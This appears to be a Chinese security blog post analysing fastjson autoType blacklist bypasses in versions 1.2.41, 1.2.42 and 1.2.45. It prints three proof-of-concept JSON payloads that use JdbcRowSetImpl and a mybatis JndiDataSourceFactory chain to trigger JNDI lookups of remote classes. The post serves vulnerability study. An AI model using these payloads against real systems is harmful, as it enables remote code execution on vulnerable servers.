Java安全之反序列化(四)--fastjson < 1.2.41-1.2.45

  fastjson在1.2.24漏洞之后,官方的修复方案是引入checkAutotype安全机制,通过黑白名单来实现防御,并且在默认情况下也不支持@type来指定随意对象进行实例化了。下图是1.2.25版本。
下图是在1.2.25之后开启AutoTypeSupport的实例化对象结果。
然后再把@type换成恶意的类JdbcRowSetImpl试试看
可以看见程序已经不允许恶意类的加载,JdbcRowSetImpl在黑名单之中。而且从报错信息可以看出恶意类的checkAutoType和自定义类的checkAutoType是在不同地方出错的。1.2.25黑名单如下
(网上找的)
 
fastjson 1.2.41版本黑名单绕过
  先来看1.2.41版本的poc:
String poc="{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"rmi://localhost:1009/Poc\",\"autoCommit\":true}";
  仅仅在原1.2.24版本的poc上稍作改动,在原@type字段上收尾添加一个L和 ; 运行(1.2.41)如下

 
  可以看见报错不再是autoType is not support,因为我没有开启JNDI服务,所以才有这类报错。前面提到了@type字段要经过黑名单的检查,就是用denyList中的元素依次与@type字段匹配。而Lcom.sun.rowset.JdbcRowSetImpl;明显不会匹配到黑名单,因为采用的是startWith进行匹配。
 
通过黑名单之后进入TypeUitls.loadClass来加载类。看一下这个loadClass。
前面两个if判断可以忽略,第三个判断是否以 [ 开头,第四个判断是否以 L 开头并以 ; 结尾。这里说一下java数组类型的Class对象,我们来看一下获取数组类型的Class对象:
 
cls1和cls4是java中的数组类型的Class对象,可以看见String[]的Class对象就是在原String的Class对象头部加一个[L,尾部加一个;这部分的知识属于java基础的JNI字段描述符,可以自行百度。所以实际上fastjson添加这两个判断是为了解析数组类型的Class对象。
 
当传入以L开头 ; 结尾的className时,程序将去除首尾后赋值给newClassName,然后再调用loadClass函数,所以如果恶意类前后加上L和 ; 就可以轻松通过黑名单,然后传入loadClass之后就跟1.2.24的JNDI注入漏洞一样了。
 
 
 
1.2.42版本在修复了1.2.41的黑名单绕过过后,很快又被发现了绕过方式。我们也来看一下:
1.2.42的黑名单机制采用了加密混淆,没有直接使用明文匹配了,黑名单也变成上面这个样子。但是checkAutoType函数中看起来还是去掉头部和尾部。、
className = className.substring()这个处理依旧是去掉首尾,只不过这个if判断有些看不懂了。根据前辈提示,这个判断依旧是为了匹配并去除首尾的L和 ; 。这里直接贴出1.2.42的POC:
String poc2="{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://localhost:389/obj\",\"autoCommit\":true}";
我猜是在黑名单之中禁用了Lcom.sun.rowset.JdbcRowSetImpl;这个className,但实际上传入loadClass后有个递归处理。判断首尾为L和;后,再次调用自身,代码如下。

 
因此无论多少层L和;都会被剥离。比如五层L和;
 
从结果可以看出来已经过了黑名单了,报错是因为我没开JNDI。
 
在fastjson 1.2.45版本中,发现了一条黑名单中没禁用的利用链,不过这个利用链需要利用到mybatis库。先看poc:原理非常简单
String poc2="{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"idap://localhost:1099/Poc\"}}";
这个poc依旧利用的是fastjson的特性,在实例化对象的时候调用set/get方法,因此流程跟1.2.24的反序列化漏洞是一样的。我们看看JndiDataSourceFactory的setProperties方法:

 
第一个分支是初始化initCtx,可以看见当我们传入的数组只包含data_source的时候就会进入else if分支,接着就会调用lookup函数加载设置好的远程恶意类。
 
 
 
 
 
 
 
 
 
 

posted @ 2020-11-25 16:09  学安全的小鬼  阅读(417)  评论(0编辑  收藏  举报